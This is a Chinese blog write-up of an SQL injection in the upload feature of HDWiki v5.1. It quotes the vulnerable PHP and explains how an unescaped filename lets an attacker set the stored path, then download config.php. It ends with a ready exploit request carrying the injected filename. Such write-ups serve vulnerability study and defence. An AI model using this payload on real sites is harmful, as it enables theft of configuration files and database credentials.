2019独角兽企业重金招聘Python工程师标准>>>

1、hdwiki的运行模式

每到来一个请求,请求index.php,index.php使用请求中的querystring,querystring的形式是class-mothod的形式,去加载controller。本案中加载的attachment.php这个controller,controller的构造函数调用了attachment的model,最后把这个model放到$_ENV变量中

加载完毕controller之后,index.php中的程序会使用method的值,去调用controller 中的函数,本案中调用的是attachment的uploadimg和download

2、漏洞位置

漏洞存在于model/attachment.class.php,出现该漏洞是下图所示的注释内容不存在导致了注入

   function add_attachment($uid,$did,$filename,$attachment,$description,$filetype='.jpg',$isimage=1,$coindown=0){$filesize=filesize($attachment);#$filename=string::haddslashes($filename);if(empty($coindown) || !is_numeric($coindown)) {$coindown = 0;}$this->db->query("INSERT INTO ".DB_TABLEPRE."attachment(did,time,filename,description,filetype,filesize,attachment,coindown,isimage,uid) VALUES ($did,{$this->base->time},'$filename','$description','$filetype','$filesize','$attachment',$coindown,$isimage,$uid)");return $this->db->insert_id();}

当该段代码存在漏洞时,从客户端获得的$filename变量没有经过addslashes进行转义直接放入了insert语句中,此时可以闭合insert语句,在下载的位置插入你想下载的文件名称,比如config.php

下载的代码如下

    function dodownload(){if(!isset($this->get[2]) || !is_numeric($this->get[2])){$this->message($this->view->lang['parameterError'],'BACK');}$result=$_ENV['attachment']->get_attachment('id',$this->get[2],0);if(!(bool)$attachment=$result[0]){$this->message($this->view->lang['attachIsNotExist'],'BACK');}if($this->user['uid'] != $attachment['uid']) {// 判断金币$credit1 = $this->user['credit1'];       // 拥有金币数$coindown = $attachment['coindown']; // 下载此附件需要消耗金币数if(0 > $credit1 - $coindown) {// 金币不足$this->message($this->view->lang['goldNotEnough'],"index.php?doc-view-".$attachment['did'],0);}// 扣除金币$_ENV['user']->add_credit($this->user['uid'],'attachment-down',0,-$coindown);// 增加金币$_ENV['user']->add_credit($attachment['uid'],'attachment-down',0,$coindown);}$_ENV['attachment']->update_downloads($attachment['id']);file::downloadfile($attachment['attachment'],$attachment['filename']);}
 function downloadfile($filepath,$filename=''){if(!file_exists($filepath)){return 1;}if(''==$filename){$tem=explode('/',$filepath);$num=count($tem)-1;$filename=$tem[$num];$filetype=substr($filepath,strrpos($filepath,".")+1);}else{$filetype=substr($filename,strrpos($filename,".")+1);}$filename_utf=function_exists(mb_convert_encoding)?mb_convert_encoding($filename, "gbk",'utf-8'):urldecode($filename);$filename ='"'.(strtolower(WIKI_CHARSET) == 'utf-8' && !(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') === FALSE) ? $filename_utf : $filename).'"';$filesize = filesize($filepath);$dateline=time();file::hheader('date: '.gmdate('d, d m y h:i:s', $dateline).' gmt');file::hheader('last-modified: '.gmdate('d, d m y h:i:s', $dateline).' gmt');file::hheader('content-encoding: none');file::hheader('content-disposition: attachment; filename='.$filename);file::hheader('content-type: '.$filetype);file::hheader('content-length: '.$filesize);file::hheader('accept-ranges: bytes');if(!@empty($_SERVER['HTTP_RANGE'])) {list($range) = explode('-',(str_replace('bytes=', '', $_SERVER['HTTP_RANGE'])));$rangesize = ($filesize - $range) > 0 ?  ($filesize - $range) : 0;file::hheader('content-length: '.$rangesize);file::hheader('http/1.1 206 partial content');file::hheader('content-range: bytes='.$range.'-'.($filesize-1).'/'.($filesize));}if($fp = @fopen($filepath, 'rb')) {@fseek($fp, $range);echo fread($fp, filesize($filepath));}fclose($fp);flush();ob_flush();}

下载调用attachment-download-xx,其中xx是附件的ID。

如果插入的时候说的下载的文件是config.php,这里就会下载config.php

3、后记

insert语句的注入接触得比较少。

4、EXP

POST /HDWiki-v5.1UTF8-20121102/hdwiki/index.php?attachment-uploadimg-56 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost/HDWiki-v5.1UTF8-20121102/hdwiki/index.php?doc-create
Cookie: hd_sid=Bt0yO7; hd_auth=c701xbewwRttXTWmEfTitYLArcr4zMn0TGPnyic7X88rXCWcRggNb%2Bdl2EVozEComqD40qfHev4M0ZgOylZ3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------106771681822525
Content-Length: 37933-----------------------------106771681822525
Content-Disposition: form-data; name="photofile"; filename="upload','hehe','gif','10000','config.php',0,1,2)#.gif"
Content-Type: image/png

上传文件的过程将filename改成图中的exp既可。

转载于:https://my.oschina.net/u/812640/blog/1620432

hdwiki v5.1存在SQL注入导致可下载任意文件相关推荐

  1. Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除

    本文作者:X_Al3r Prat 0 自白 每一天都是新的一天. 没啥吐槽的,步入正题 /system/category.php 文件一处Sql注入## 80-87行代码 $root_id = int ...

  2. [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  3. 4 读写文件_WEB安全之SQL注入(4)——读写文件

    大家好,我是阿里斯,一名IT行业小白.今天为大家分享的内容是利用注入进行文件的读写,这里主要是两个函数,load_file() 和into outfile 希望能帮助小白,也能帮助已经遗忘的你. lo ...

  4. SQL注入:2、读写文件和下载数据库

    2.读写文件和下载数据库 1.读取文件 2.下载数据库: 3.编写服务器端代码: 4.编码转变 5.入侵思路 1.读取文件 下载:load_file() 输入:'union select null,l ...

  5. SQL注入-SQL注入的WAF绕过(十六)

    实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...

  6. golang mysql 防注入_Go,Gorm 和 Mysql 是如何防止 SQL 注入的

    Go,Gorm 和 Mysql 是如何防止 SQL 注入的 SQL 注入和 SQL 预编译技术 什么是 SQL 注入 所谓SQL注入(sql inject),就是通过把SQL命令插入到Web表单提交或 ...

  7. php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  8. SQL 注入竟然把我们的系统搞挂了

    作者 | 苏三说技术    责编 | 张文 来源 | 转载自苏三说技术(ID:gh_9f551dfec941) 最近我在整理安全漏洞相关问题,准备在公司做一次分享.恰好,这段时间团队发现了一个 sql ...

  9. mysql注入如何读取本地文件_如何通过SQL注入获取服务器本地文件

    写在前面的话 SQL注入可以称得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已经给整个网络世界造成了巨大的破坏.针对SQL漏洞,研究人员也已经开发出了多种不同的利用技术来实施攻击,包括非法访问存储在 ...

最新文章

  1. linux基础-第十单元 系统的初始化和服务
  2. 剑网服务器维护,12月31日服务器例行维护公告
  3. linux 7.0查看防火墙状态,centos7查看防火墙状态
  4. Failed to import pydot
  5. html文字和下划线怎么分开,HTML css样式怎样才能像下图那样把文字分开,还有下划线,请帮我补写下 ,谢谢!!...
  6. 实现DRBD的简单配置
  7. 习题3.4 最长连续递增子序列 (20 分) 数据结构 PTA
  8. verilog宏功能中dds信号发生器_什么是相位相干性?了解生成相位相干射频信号的三种配置方法...
  9. 易语言编程入门教程学习
  10. 相继平均法matlab代码_AHP法中平均随机一致性指标的算法及MATLAB实现
  11. dlib实现人脸对齐方法
  12. 程序设计框架图和框架加载流程
  13. Verilog基本语法之wire和reg
  14. if语句——python
  15. outlook 签名 设置
  16. 读书百客:《嘲鲁儒》赏析
  17. java敏感词屏蔽器,“敏感词过滤”功能设置
  18. 基于vue的图片剪裁工具vue-croppe
  19. Ubunbu18.4运行代码bug提示:Successful NUMA node read from SysFS had negative value (-1)
  20. uni-app小程序使用小程序码绑定用户信息合成海报

热门文章

  1. utf-8的英文字母和中文汉字是一个字符占几个字节
  2. 品味奢华 匠心独韵——飞利浦Fidelio T1设计与声音的哲学
  3. 基于Java的敬老院管理系统的设计和实现(论文+PPT+源码)
  4. 快速屏蔽百度热榜百度广告百度推广
  5. 最新uniapp打包IOS详细步骤
  6. QQ空间迁移_【深度解锁数据恢复】
  7. 像人一样自然流畅地说话,下一代智能对话系统还有多长的路要走?
  8. STM32F103C8T6定时器
  9. [QQ机器人]nonebot每日一言插件
  10. hdu2203java_HDU2203(KMP入门题)